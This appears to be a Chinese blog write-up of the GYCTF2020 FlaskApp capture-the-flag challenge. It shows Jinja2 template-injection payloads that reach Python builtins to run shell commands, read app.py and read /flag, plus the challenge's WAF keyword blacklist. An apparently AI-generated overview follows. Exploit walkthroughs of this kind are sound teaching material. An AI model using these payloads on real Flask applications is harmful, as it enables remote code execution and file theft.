[GYCTF2020]FlaskApp 1(SSTI,PIN)

博客讲述了在GYCTF2020的FlaskApp挑战中,如何利用SSTI(模板注入)攻击进行Python沙盒逃逸。通过分析过滤关键字,构造payload绕过WAF,读取源码找到flag。同时,介绍了PIN码的生成机制,包括获取flask用户名、app.py路径和MAC地址的十进制数。最终,利用PIN码实现远程代码执行并获得flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

f12发现了提示,但是我对PIN没有了解所以没反应过来
在这里插入图片描述
扫了一下网站,发现了一个网站打开
请添加图片描述
在这里插入图片描述
非预期解:
本题存在SSTI注入

加密 {
   
   {
   
   7+7}}
 e3s3Kzd9fQ== 
 解密
 回显14  说明是SSTI

python-Flask模版注入攻击SSTI(python沙盒逃逸)

查看根目录:

 {
   
   % for c in [].__class__.__base__.__subclasses__() %}{
   
   % if c.__name__=='catch_warnings' %}{
   
   {
   
    c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{
   
   % endif %}{
   
   % endfor %}

解密结果产生no,说明存在waf
在这里插入图片描述
可能被过滤了关键字符,但是我们不知道关键字符,所以要读取一下源码app.py(直接用open)

 {
   
   % for c in [].__class__.__base__.__subclasses__() %}{
   
   % if c.__name__=='catch_warnings' %}{
   
   {
   
    c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{
   
   % endif %}{
   
   % endfor %}

测试,返回waf,能看到黑名单black_list在这里插入图片描述
整理:看到flag,os,system,popen,import,eval,chr,request,
subprocess,commands,socket,hex,base64

### 关于 buuoj 和 FlaskApp 的信息 #### 1. **buuoj 平台简介** `buuoj` 是一个在线渗透测试练习平台,专注于 Web 安全领域。它提供了多种类型的漏洞环境供学习者实践攻击与防御技术[^1]。该平台上的题目通常基于真实世界中的安全问题设计,例如 SQL 注入、XSS 跨站脚本攻击以及 SSRF 服务器端请求伪造等。 对于 `FlaskApp` 类型的题目,在 buuoj 中主要涉及 PythonFlask 框架开发的应用程序中存在的安全隐患分析。这些隐患可能来源于不恰当的输入验证机制或者模板引擎执行未过滤的内容等问题[^4]。 #### 2. **Flask 应用基础架构解析** 在构建 Flask 应用时,开发者常会利用 Jinja2 模板渲染页面数据。然而如果未能正确处理用户提交的数据,则可能导致诸如 SSTI (Server-Side Template Injection) 这样的严重威胁。下面是一个简单的例子展示如何通过恶意 payload 利用此类漏洞获取敏感文件内容: ```jinja {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }} {% endif %} {% endfor %} ``` 上述代码片段展示了当应用程序允许动态加载类实例并访问其属性方法时所面临的风险。 #### 3. **GYCTF2020 FlaskApp 题目回顾** 根据 GYCTF2020 的一道名为 FlaskApp 的赛题描述可知,选手需要找到隐藏于应用内部逻辑里的 WAF 函数实现细节,并绕过防护措施完成特定目标。此过程不仅考验参赛者的逆向工程能力,同时也要求具备扎实的编程功底以便快速理解复杂业务流程。 以下是官方给出的一个简化版解决方案思路说明: - 寻找是否存在可被滥用的功能接口; - 尝试构造特殊字符串触发异常行为暴露更多线索; - 结合已知条件推导最终答案路径。 实际操作过程中还需要注意避开显而易见的安全检测规则以免失败告终。 --- ### 提供一段示例代码帮助初学者入门 Flask 开发 为了便于理解和后续深入研究,这里附上一份基本的 Flask 程序框架作为参考起点: ```python from flask import Flask, render_template_string app = Flask(__name__) @app.route('/') def index(): return render_template_string('<h1>Hello World!</h1>') if __name__ == '__main__': app.run(debug=True) ``` 以上代码创建了一个最简形式的服务站点,默认监听本地地址并通过浏览器访问根目录即可看到欢迎消息显示效果[^2]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值